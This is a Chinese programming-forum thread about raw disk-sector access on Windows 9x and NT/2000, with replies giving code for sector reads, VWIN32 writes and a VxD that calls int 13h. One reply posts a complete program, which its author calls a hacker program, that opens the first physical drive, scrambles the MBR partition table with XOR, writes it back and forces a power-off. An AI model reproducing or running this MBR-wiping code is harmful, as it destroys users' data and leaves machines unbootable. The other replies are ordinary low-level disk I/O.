求在FAT32下写硬盘的方法。

解决方案 »

  1.   

    2000下如何直接写硬盘? 
     
    原作者姓名 N/A
    文章原始出处 http://www.codeguru.com/system/ReadSector.html 
    正文
    闻怡洋译在NT和2000下,通过CreateFile来打开需要读写的驱动器,ReadFile、WriteFile来进行磁盘读写。下面的代码演示了,如何读写A驱
    /* -----------------------------------------------------     Read Floppy Disk Sector for win NT/2000
         reads [numsec] sectors from [head] [track] [sector]-------------------------------------------------------*/
    char* ReadSectors(int head, int sector, int track, int numsec)
    {
    // getting logical sector from absolute head/track/sector ...
    //计算扇区位置
    int LogicalSector = (sector-1) + 
              (head*SECTORSPERTRACK) +  
             (track*SECTORSPERTRACK*NUMOFHEADS) ;char *buffer ; 
    HANDLE hDevice ;
    HANDLE hDevice; 
    char* buffer = (char*)malloc (512*numsec);
    strset ( buffer , ' ');
    DWORD bytesread ;// getting a handle to the drive a: using 
    //    CreateFile () function ....
    //打开驱动器 \\.\A:
    hDevice = CreateFile("\\\\.\\A:", 
            GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 
            NULL, OPEN_EXISTING, 0, NULL); if (hDevice == NULL) 
    {
       MessageBox ("Failed !");
       return NULL;
    }
        
       
    // setting the file pointer to the start of the 
    //     sector we want to read . 
    //移动文件指针到需要读取位置
    SetFilePointer (hDevice, 
                     (LogicalSector*512), 
                     NULL, 
                     FILE_BEGIN); 
       
    // reading sector(s) ...
    //读数据
    if (!ReadFile ( hDevice, 
                     buffer, 
                     512*numsec, 
                     &bytesread, 
                     NULL) )
    {
        /*
        int err;
        char error[10];
        err=GetLastError ();
        itoa (err, error, 10);
        MessageBox (error, "Reading sectors ...Failed  ");
        return NULL ;
        */
    }
    //关闭
    CloseHandle(hDevice); return buffer ;
    }http://www.codeguru.com/system/ReadSector_source.zip 
    正文完
      

  2.   

    低级操作通常都用
    CreateFile(".....", 
            GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 
            NULL, OPEN_EXISTING, 0, NULL); 
      

  3.   

    CreateFile
    调整权限大概是用AdjustPreviliges之类的函数吧
      

  4.   

    把写磁盘的进程设为RING0级的???
      

  5.   

    可以使用Win9x的BASE服务在MSDN的“平台SDK”上有!
      

  6.   

    我有代码可以把权限升至ring0级,然后直接用汇编操作。
      

  7.   

    学习,zhang_zhibin(阿笨猫) :能不能把“把权限升至ring0级”贴出来看看1
      

  8.   

    如果是 Win9x, 试试采用 VWIN32 服务,读写 FAT32 需要用 VWIN32 提供的 Int 21h function 7305h 功能#define VWIN32_DIOC_DOS_INT25     2
    #define VWIN32_DIOC_DOS_INT26     3
    #define VWIN32_DIOC_DOS_DRIVEINFO 6typedef struct _DIOC_REGISTERS {
        DWORD reg_EBX;
        DWORD reg_EDX;
        DWORD reg_ECX;
        DWORD reg_EAX;
        DWORD reg_EDI;
        DWORD reg_ESI;
        DWORD reg_Flags;
    } DIOC_REGISTERS, *PDIOC_REGISTERS;#define CARRY_FLAG 1#pragma pack(1)
    typedef struct _DISKIO {
    DWORD  dwStartSector;   // starting logical sector number
    WORD   wSectors;        // number of sectors
    DWORD  dwBuffer;        // address of read/write buffer
    } DISKIO, * PDISKIO;
    #pragma pack()///////////////////////////////////////////////////////////////////////////////
    // ExtWriteSectors(hDev, bDrive, dwStartSector, wSectors, lpSectBuff)
    // 
    //  Purpose:
    //  Writes the specified number of sectors from a caller-supplied
    //  buffer. Uses Int 21h function 7305h
    // 
    //  Parameters:
    //  hDev
    //  Handle of VWIN32
    // 
    //  bDrive
    //  The MS-DOS logical drive number. 0 = default, 1 = A, 2 = B,
    //  3 = C, etc.
    // 
    //  dwStartSector
    //  The first sector to write.
    // 
    //  wSectors
    //  The number of sectors to write.
    // 
    //  lpSectBuff
    //  The caller-supplied buffer from which to write.
    // 
    // Return Value:
    // Returns TRUE if successful, or FALSE if failure.
    // 
    // Comments:
    //  This function does not validate its parameters.  It assumes that
    //  lpSectBuff is allocated by the caller and is large enough to
    // hold all of the data to be written.
    //  
    BOOL ExtWriteSectors (HANDLE hDev,
                          BYTE   bDrive,
                          DWORD  dwStartSector,
                          WORD   wSectors,
                          LPBYTE lpSectBuff)
    {
    BOOL           fResult;
    DWORD          cb;
    DIOC_REGISTERS reg = {0};
    DISKIO         dio; dio.dwStartSector = dwStartSector;
    dio.wSectors      = wSectors;
    dio.dwBuffer      = (DWORD)lpSectBuff; reg.reg_EAX = 0x7305;   // Ext_ABSDiskReadWrite
    reg.reg_EBX = (DWORD)&dio;
    reg.reg_ECX = -1;
    reg.reg_EDX = bDrive;   // Int 21h, fn 7305h drive numbers are 1-based reg.reg_ESI = 0x6001;   // Normal file data (See function
    // documentation for other values)
    fResult = DeviceIoControl(hDev, VWIN32_DIOC_DOS_DRIVEINFO,
    &reg, sizeof(reg),
    &reg, sizeof(reg), &cb, 0); // Determine if the DeviceIoControl call and the write succeeded.
    fResult = fResult && !(reg.reg_Flags & CARRY_FLAG); return fResult;
    }
      

  9.   

    忘了,hDev 应该这样获得:hDevice = CreateFile(TEXT("\\\\.\\vwin32"),
    0, 0, NULL, 0, FILE_FLAG_DELETE_ON_CLOSE, NULL);
      

  10.   

    注:本程序只能用于NT,Win9X无法使用。 
    /* -------------------------------------------------------------------------- *
    * *
    * File Name : main.cpp *
    * *
    * Purpose : Reads a sector on the disk *
    * *
    * -------------------------------------------------------------------------- */#include <windows.h>
    #include <conio.h>
    #include <stdio.h>
    #include <tchar.h>
    #include <winioctl.h>DWORD min(DWORD i,DWORD j)
    {
    return i>j?j:i;
    }
    VOID
    __cdecl _tmain(
    INT Argc,
    PTCHAR Argv[]
    )
    {
    TCHAR szName[MAX_PATH] = { 0 };
    HANDLE hDisk;//
    // Validate the parameters
    //
    if (Argc != 3) {_tprintf(_T("Reads a sector on the disk\n\n"));
    _tprintf(_T("%s [disk number] [sector]\n"), Argv[0]);
    return;
    }_sntprintf(szName, sizeof(szName) / sizeof(szName[0]) - 1, _T("\\\\.\\Physicaldrive%d"), _ttoi(Argv[1]));//
    // Open a handle to the disk
    //
    hDisk = CreateFile(szName,
    GENERIC_READ,
    FILE_SHARE_READ,
    NULL,
    OPEN_EXISTING,
    NULL,
    0);if (hDisk != INVALID_HANDLE_VALUE) {DISK_GEOMETRY diskGeometry;
    DWORD dwBytes;//
    // Obtain the layout of this disk
    //
    if (DeviceIoControl(hDisk,
    IOCTL_DISK_GET_DRIVE_GEOMETRY,
    NULL,
    0,
    &diskGeometry,
    sizeof(DISK_GEOMETRY),
    &dwBytes,
    NULL)) {DWORD dwSize = diskGeometry.BytesPerSector;
    PVOID lpBuffer = new BYTE [dwSize];if (lpBuffer) {PARTITION_INFORMATION partitionInfo;//
    // Obtain the size of this disk
    //
    if (DeviceIoControl(hDisk,
    IOCTL_DISK_GET_PARTITION_INFO,
    NULL,
    0,
    &partitionInfo,
    sizeof(PARTITION_INFORMATION),
    &dwBytes,
    NULL)) {LONGLONG sectorCount = partitionInfo.PartitionLength.QuadPart / diskGeometry.BytesPerSector;
    LONGLONG nIndex = _ttoi64(Argv[2]);_tprintf(_T("Disk %d has 0x%I64x sectors with 0x%x bytes in every sector\n"), _ttoi(Argv[1]), sectorCount, diskGeometry.BytesPerSector);//
    // Read in the requested sector
    //
    if (nIndex < sectorCount) {LARGE_INTEGER offset;offset.QuadPart = (nIndex) * diskGeometry.BytesPerSector;SetFilePointer(hDisk, offset.LowPart, &offset.HighPart, FILE_BEGIN);if (ReadFile(hDisk, lpBuffer, dwSize, &dwBytes, NULL)) {//
    // The dwBytes field holds the number of bytes that were actually read [ <= dwSize ]
    //
    for (ULONG nOffset = 0; nOffset < dwBytes; nOffset += 0x10) {ULONG nBytes, nIdx;//
    // Display the address
    //
    _tprintf(_T("%011I64x "), (offset.QuadPart) + nOffset);//
    // Display the data in hexadecimal
    //
    nBytes = min(0x10, dwBytes - nOffset);for (nIdx = 0; nIdx < nBytes; nIdx++) {
    _tprintf(_T("%02x %s"), ((PUCHAR)lpBuffer)[nOffset + nIdx], ((nIdx + 1) % 0x8) ? _T("") : _T(" "));
    }for ( ; nIdx < 0x10; nIdx++) {
    _tprintf(_T(" %s"), ((nIdx + 1) % 0x8) ? _T("") : _T(" "));
    }//
    // Display the data in ascii
    //
    for (nIdx = 0; nIdx < nBytes; nIdx++) {
    _tprintf(_T("%c"), isprint(((PUCHAR)lpBuffer)[nOffset + nIdx]) ? ((PUCHAR)lpBuffer)[nOffset + nIdx] : _T('.'));
    }_tprintf(_T("\n"));
    }} else {
    _tprintf(_T("ReadFile() on sector 0x%I64x failed with error code: %d\n"), nIndex, GetLastError());
    }} else {
    _tprintf(_T("The requested sector is out-of-bounds\n"));
    }} else {
    _tprintf(_T("IOCTL_DISK_GET_PARTITION_INFO failed with error code %d\n"), GetLastError());
    }delete [] lpBuffer;} else {
    _tprintf(_T("Unable to allocate resources, exiting\n"));
    }} else {
    _tprintf(_T("IOCTL_DISK_GET_DRIVE_GEOMETRY failed with error code %d\n"), GetLastError());
    }CloseHandle(hDisk);} else {
    _tprintf(_T("CreateFile() on %s failed with error code %d\n"), szName, GetLastError());
    }_tprintf(_T("\n"));
    return;
    }
      

  11.   

    由于win9x下由win32程序对硬盘的写操作被屏蔽,所以绝对硬盘的读写的思路在于设法转入16位程序,因此有两种方法可以达到这种目的:使用THUNK机制调用16位DLL或用VxD转到16位方式,我觉得用THUNK太麻烦,其实VxD挺好编的,而且用起来也方便, 当时也是出于学习目的,编了这么一个VxD,还是挺好用的,我看精华区对这个问题的讨论好像没有什么结果,就把它贴出来,算是班门弄斧吧! 
        我是用DDK编的,主要是因为我当时是出于学习。 
         //这是程序的主要部分,其中有一些宏定义,从字面上就能知道是干什么的,我就不罗嗦 
         //了 
         DWORD _stdcall CVXD_W32_DeviceIOControl(LPDIOC lpDIOCParms, 
         CLIENT_STRUCT *pRegs) 
         { 
         DWORD dwRetVal = 0,retu; 
         DWORD *i; 
         PVMMCB hVM; 
         DIOC_REGISTERS *lpReg,*lpOutReg; 
         CLIENT_STRUCT saveregs; 
         DWORD PageNum; 
         WORD PageOff; 
         DWORD Address; 
         DWORD V86PageNum,MyPage; 
         WORD seg,offset; 
         
         hVM=Get_Cur_VM_Handle(); 
         i=(DWORD *)(lpDIOCParms->lpvOutBuffer); 
         lpReg=(DIOC_REGISTERS *)(lpDIOCParms->lpvInBuffer); 
         lpOutReg=(DIOC_REGISTERS *)(lpDIOCParms->lpvOutBuffer); 
         switch(lpDIOCParms->dwIoControlCode) 
         { 
         . 
         . 
         . 
         case 2: 
         if(lpDIOCParms->cbInBuffer!=sizeof(DIOC_REGISTERS)) 
         return dwRetVal=-1; 
         
         //保存当前虚拟机的寄存器状态 
         _asm push edi 
         _asm lea edi,saveregs 
         VMMCall(Save_Client_State); 
         _asm pop edi 
         
         //输入的参数,具体怎么用看INT13的说明吧 
         _ClientEAX=lpReg->reg_EAX; 
         _ClientEDX=lpReg->reg_EDX; 
         _ClientECX=lpReg->reg_ECX; 
         _ClientEFlags=lpReg->reg_Flags; 
         
         /* 以下这一段是编写这个VxD时要考虑的主要问题:把缓冲区的地址映射入虚拟86的地址 
         区,Win32中用的都是线性地址,先根据它求出页面号,再把缓冲区所在的页映射到虚拟86区 
         中去,下面程序中有一个Bug,它没有考虑到缓冲区所占页面大于一页时的情形,事实上,缓 
         冲区可能处在叶面的边界上,而且它的大小可能超过一页,这些都要根据上面参数中给出 
         的缓冲区大小计算,当时我嫌麻烦,随便应付了一下.用的时候要把这段代码改一下 
         */ 
         PageNum=(lpReg->reg_EBX)>>12; 
         PageOff=(lpReg->reg_EBX)&0xfff; 
         _asm{ 
         push 0 
         push 1 
         push 10 
         push hVM 
         push PageNum 
         } 
         VMMCall(_LinMapIntoV86); 
         _asm add esp,14h 
         _asm mov retu,eax 
         _asm mov MyPage,edx //返回的页面号在edx寄存器中 
         if(retu==0) return 3;//这是我自己胡乱选的错误码,你可以自己定成 
         //其它值 
         Address=(MyPage<<12)+PageOff;//计算新的线性地址 
         seg=LOWORD(Address>>4); //把线性地址转化成传统的段:偏 
         offset=LOWORD(Address-(seg<<4)); //移量的形式 
         _ClientAltES=seg;//这里一定不能弄错了,在Win32 Ring3程序中用的 
         //是_ClientES,而虚拟86方式下用的段寄存器则在 
         //_ClientAltES中,所以要用它 
         _ClientBX=offset; 
         
         //xixi,好戏开始了 
         VMMCall(Begin_Nest_V86_Exec);//这一句使得系统转入虚拟86方式 
         _asm mov eax,13h 
         VMMCall(Exec_Int);//发出int 13h中断调用 
         //保存返回值 
         if(lpDIOCParms->cbOutBuffer==sizeof(DIOC_REGISTERS)) 
         { 
         lpOutReg->reg_Flags=_ClientEFlags; 
         lpOutReg->reg_EAX=_ClientEAX; 
         lpOutReg->reg_EBX=_ClientEBX; 
         lpOutReg->reg_ECX=_ClientECX; 
         lpOutReg->reg_EDX=_ClientEDX; 
         } 
         End_Nest_Exec();//退出虚拟86方式 
         
         //轻轻地我走了,正如我轻轻地来,我挥一挥衣袖,不带走一片云彩 
         _asm push esi 
         _asm lea esi,saveregs 
         VMMCall(Restore_Client_State); 
         _asm pop esi 
         //这一段取消原来的映射 
         VMMCall(_GetNulPageHandle); 
         _asm mov PageNum,eax 
         _asm{ 
         push 0 
         push 0 
         push 1 
         push 10 
         push hVM 
         push PageNum 
         } 
         VMMCall(_MapIntoV86); 
         _asm add esp,18h 
         
         //OK 
         return dwRetVal=0; 
         } 
         return dwRetVal; 
        } 
      

  12.   

    //演示如何在Windows NT/2000下对硬盘物理扇区读写
    #include <windows.h>
    #include <winioctl.h>//---------------------------------------------------------------------------
    void WINAPI ExitWin()
    {
    HANDLE hProcess, hToken;
    TOKEN_PRIVILEGES NewState;
    DWORD ProcessId, ReturnLength = 0;
    LUID luidPrivilegeLUID;ProcessId = GetCurrentProcessId();
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
    OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken);
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID);NewState.PrivilegeCount = 1;
    NewState.Privileges[0].Luid = luidPrivilegeLUID;
    NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
    ExitWindowsEx(EWX_FORCE|EWX_POWEROFF, 0);
    }
    void WINAPI KillNT()
    {HANDLE hDevice;
    TCHAR szDevicename[64];
    LPTSTR szBuff;
    DISK_GEOMETRY Geometry;
    BOOL bRet;
    DWORD bytes,bread,count;
    int i;char *drive = "0";
    wsprintf(szDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive);hDevice = CreateFile( szDevicename,
    GENERIC_READ|GENERIC_WRITE,
    FILE_SHARE_READ|FILE_SHARE_WRITE,
    NULL,
    OPEN_EXISTING,
    0,
    NULL
    );if (hDevice == INVALID_HANDLE_VALUE)
    {
    MessageBox(NULL,"打开设备出错",NULL,MB_OK);
    ExitProcess(0);
    }
    DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);szBuff = (LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);if ( szBuff == NULL)
    {
    MessageBox(NULL,"分配内存出错",NULL,MB_OK);
    ExitProcess(0);
    }bytes = 512;bRet = ReadFile(hDevice, szBuff, bytes, &bread, NULL);if (bRet==FALSE || bread<512)
    {
    MessageBox(NULL,"读MBR出错",NULL,MB_OK);
    ExitProcess(0);
    }
    *(szBuff + 0x1be) = 0x80;
    *(szBuff + 0x1bf) = 0x00;
    *(szBuff + 0x1c2) = 0x05;
    for ( i = 0x1c3; i < 510; i++ )
    {
    *(szBuff + i) ^= 0x926;
    }DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);CloseHandle(hDevice);wsprintf(szDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive);hDevice = CreateFile( szDevicename,
    GENERIC_READ|GENERIC_WRITE,
    FILE_SHARE_READ|FILE_SHARE_WRITE,
    NULL,
    OPEN_EXISTING,
    0,
    NULL
    );if ( hDevice == INVALID_HANDLE_VALUE)
    {
    MessageBox(NULL,"打开设备出错",NULL,MB_OK);
    ExitProcess(0);
    }
    //这是黑客程序,稍加修改就能在Win98下运行;
    DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);bRet = WriteFile(hDevice,szBuff,bytes,&bread,NULL);if (bRet==FALSE || bread<512)
    {
    MessageBox(NULL,"写MBR出错",NULL,MB_OK);
    ExitProcess(0);
    }
    DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);HeapFree(GetProcessHeap(),HEAP_NO_SERIALIZE,szBuff);CloseHandle(hDevice);ExitWin();}
    void WINAPI OSVer()
    {OSVERSIONINFO osi;osi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);if (GetVersionEx(&osi))
    {
    if ( osi.dwPlatformId == VER_PLATFORM_WIN32_NT)
    KillNT();
    }}
    WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
    {OSVer();
    return 0;
    }
      

  13.   

    到现在还没有一个在win98下写硬盘的方法。
    加油啊!
      

  14.   

    最好到“ASM”版块问一下,那里的斑竹“牛魔王”狠COOL的
      

  15.   

    98下取ring0,要容易些。
    2000/nt下,基本上没有比较可行的方法。
      

  16.   

    看这里http://expert.csdn.net/Expert/TopicView1.asp?id=1408258
    http://expert.csdn.net/Expert/TopicView1.asp?id=107757098下需要利用Vwin32.VXD
      

  17.   

    再贴一个:http://www.microran2002.com/Paper/floppyRW.htm
      

  18.   

    In355Hz(好象一条狗)只能写软盘吧。
    9x下写硬盘可以写vxd,取得硬盘设备,调用ios_SendCommand函数,具体的命令记不清了,大概是read,write之类。
      

  19.   

    具体参考一下vtoolsd的帮助吧。需要驱动知识,ios方面的。